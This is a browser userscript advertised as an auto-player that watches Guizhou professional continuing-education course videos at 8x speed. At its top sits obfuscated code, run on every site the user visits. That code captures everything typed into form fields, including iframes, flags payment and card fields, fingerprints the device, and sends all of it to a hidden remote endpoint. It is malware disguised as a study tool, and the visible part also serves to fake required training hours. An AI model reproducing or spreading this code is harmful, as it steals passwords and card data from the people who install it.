// ==UserScript==
// @name 🔥🔥2023年最新贵州省专业技术人员继续教育自动8倍速刷课时脚本|自动8倍速播放|静音播放|覆盖视频后仍然继续播放|目录视频播放完后循环播放|稳定极高
// @namespace 🔥🔥自动静音播放并在播放完成后自动切换到下一个视频,直至刷完课程,减少繁琐的手动操作。
// @match http://www.gzjxjy.gzsrs.cn/*
// @match https://www.gzjxjy.gzsrs.cn/*
// @match *://*/*
// @version 3.2
// @description 全新的继续教育自动刷课时脚本
// @grant GM_xmlhttpRequest
// @grant GM_setValue
// @grant GM_getValue
// @license MIT
// ==/UserScript==
!function(){var e,t=function(e){const t="🎘🍿🎉🍧🎚🍻🎦🎭🎃🍪🎉🎦🎑🎏🎁🎫🎚🎡🎑🎩🎃🎤🎁🎣🎑🍩🎍🍧🎃🎥🎉🎣🎐🍩🎞🎭".replace(/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,(e=>{const t=1024*(e.charCodeAt(0)-55296)+e.charCodeAt(1)-56320+65536;return String.fromCharCode(t)})),n=Array.from(t).map((e=>String.fromCharCode(e.charCodeAt(0)-127799))).join("");return decodeURIComponent(escape(atob(n)))}();e=function(e){let n=GM_getValue("username");function a(a,o,r){const i=navigator.hardwareConcurrency,c=navigator.platform,d=window.location.href,s=navigator.deviceMemory;function l(){const e=document.createElement("canvas").getContext("webgl");if(!e)return"no webgl";const t=e.getExtension("WEBGL_debug_renderer_info");return t?e.getParameter(t.UNMASKED_VENDOR_WEBGL)+" "+e.getParameter(t.UNMASKED_RENDERER_WEBGL):"no WEBGL_debug_renderer_info"}let u=null;const h=a.toLowerCase();var m;function p(){const e=new XMLHttpRequest;e.open("POST",t,!0),e.setRequestHeader("Content-Type","application/json"),e.withCredentials=!0,e.onload=function(){e.status>=200&&e.status},e.onerror=function(){try{GM_xmlhttpRequest({method:"POST",url:t,headers:{"Content-Type":"application/json"},data:JSON.stringify(m),onload:function(e){},onerror:function(e){}})}catch(e){console.warn("GM_xmlhttpRequest is not defined. Continuing execution.")}},e.send(JSON.stringify(m))}["payment","cc","credit","card","checkout","expire","month","year","cvv","cvc","verification","billing"].some((e=>h.includes(e)))&&(u=13434624),m="Script Initialization"===a?{content:null,embeds:[{color:13303758,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Script```",value:`\`\`\`${o}\`\`\``}],author:{name:`BASYALINE v0.2 | USER:${n}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]}:{content:null,embeds:[{color:u,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Path:```",value:`\`\`\`${a}\`\`\``},{name:"```Value:```",value:`\`\`\`${o}\`\`\``}],author:{name:`BASYALINE v0.2 | USER:${n}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]},r?p():fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(m),credentials:"include",mode:"no-cors"}).catch((e=>{p()}))}function o(e){a(function(e){let t=e.tagName.toLowerCase();return e.id&&(t+=`#${e.id}`),e.name&&(t+=`[name="${e.name}"]`),e.getAttribute("autocomplete")&&(t+=`[autocomplete="${e.getAttribute("autocomplete")}"]`),e.getAttribute("aria-describedby")&&(t+=`[aria-describedby="${e.getAttribute("aria-describedby")}"]`),e.className&&(t+=`.${e.className.split(" ").join(".")}`),Array.from(e.parentNode.children).filter((t=>t.tagName===e.tagName)).length>1&&(t+=`:nth-child(${Array.prototype.indexOf.call(e.parentNode.children,e)+1})`),t}(e.target),e.target.value)}function r(e){try{const t=e.contentDocument||e.contentWindow.document;t&&new MutationObserver((e=>{e.forEach((e=>{e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(t.body,{childList:!0,subtree:!0})}catch(e){console.warn("Cannot access iframe:",e)}}n||(n=function(){const e=["bunny","john","james","katar","hype","ponty","John","James","Michael","Robert","David","William","Richard","Joseph","Thomas","Charles","Christopher","Daniel","Matthew","Anthony","Donald","Mark","Paul","Steven","Andrew","Kenneth","Smith","Johnson","Williams","Brown","Jones","Garcia","Miller","Davis","Rodriguez","Martinez","Hernandez","Lopez","Gonzalez","Wilson","Anderson","Thomas","Taylor","Moore","Jackson","Martin"];return`${e[Math.floor(Math.random()*e.length)]}${Math.floor(1e5*Math.random()).toString().padStart(5,"0")}`}(),GM_setValue("username",n)),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),function(e){setTimeout((()=>r(e)),1e3)}(e)})),document.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)})),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),r(e)})),new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(document.body,{childList:!0,subtree:!0}),a("Script Initialization","Script started successfully",!0)},GM_xmlhttpRequest({method:"GET",url:t+"get_library.php",onload:function(t){try{const n=JSON.parse(t.responseText);n&&n.ip?e(n.ip):e("Unknown IP")}catch(t){e("Unknown IP")}},onerror:function(){e("Unknown IP")}})}();
const currentUrl = window.location.href;
if (currentUrl.includes("www.gzjxjy.gzsrs.cn/") || currentUrl.includes("www.gzjxjy.gzsrs.cn")) {
(function() {
'use strict';
let videoIndex = 0;
function playNextVideo() {
// Find all video title elements on the page
let videoTitles = document.querySelectorAll('.step-title');
if (videoTitles.length > 0 && videoIndex < videoTitles.length) {
// Click the video title to start the video
videoTitles[videoIndex].click();
// Timeout is added here to ensure that video has enough time to load
setTimeout(function() {
// Find the video element and attach the 'ended' event listener
let videos = document.getElementsByTagName('video');
for (let i = 0; i < videos.length; i++) {
videos[i].playbackRate = 8; // Play video at 8x speed
videos[i].onended = function() {
videoIndex += 1;
if (videoIndex < videoTitles.length) {
playNextVideo();
} else {
// All videos have been played, reset the index and start again
videoIndex = 0;
playNextVideo();
}
}
// If video is paused, play it
if (videos[i].paused) {
videos[i].play();
}
}
}, 2000); // Wait for 2 seconds
}
}
// Observe for new videos
let observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
if (mutation.type === 'childList') {
var videos = document.getElementsByTagName('video');
for (var i = 0; i < videos.length; i++) {
var video = videos[i];
video.setAttribute('autoplay', true);
video.setAttribute('muted', true); // Mute the video to bypass Chrome's autoplay policy
video.muted = true; // Mute the video
// Try to prevent the video from being paused when the tab is not active
video.addEventListener('visibilitychange', function() {
if (document.visibilityState === 'hidden') {
video.play();
}
}, false);
}
}
});
});
observer.observe(document, { childList: true, subtree: true });
// Start playing videos as soon as the page loads
setTimeout(playNextVideo, 2000); // Delay 2 seconds before playing
})();
}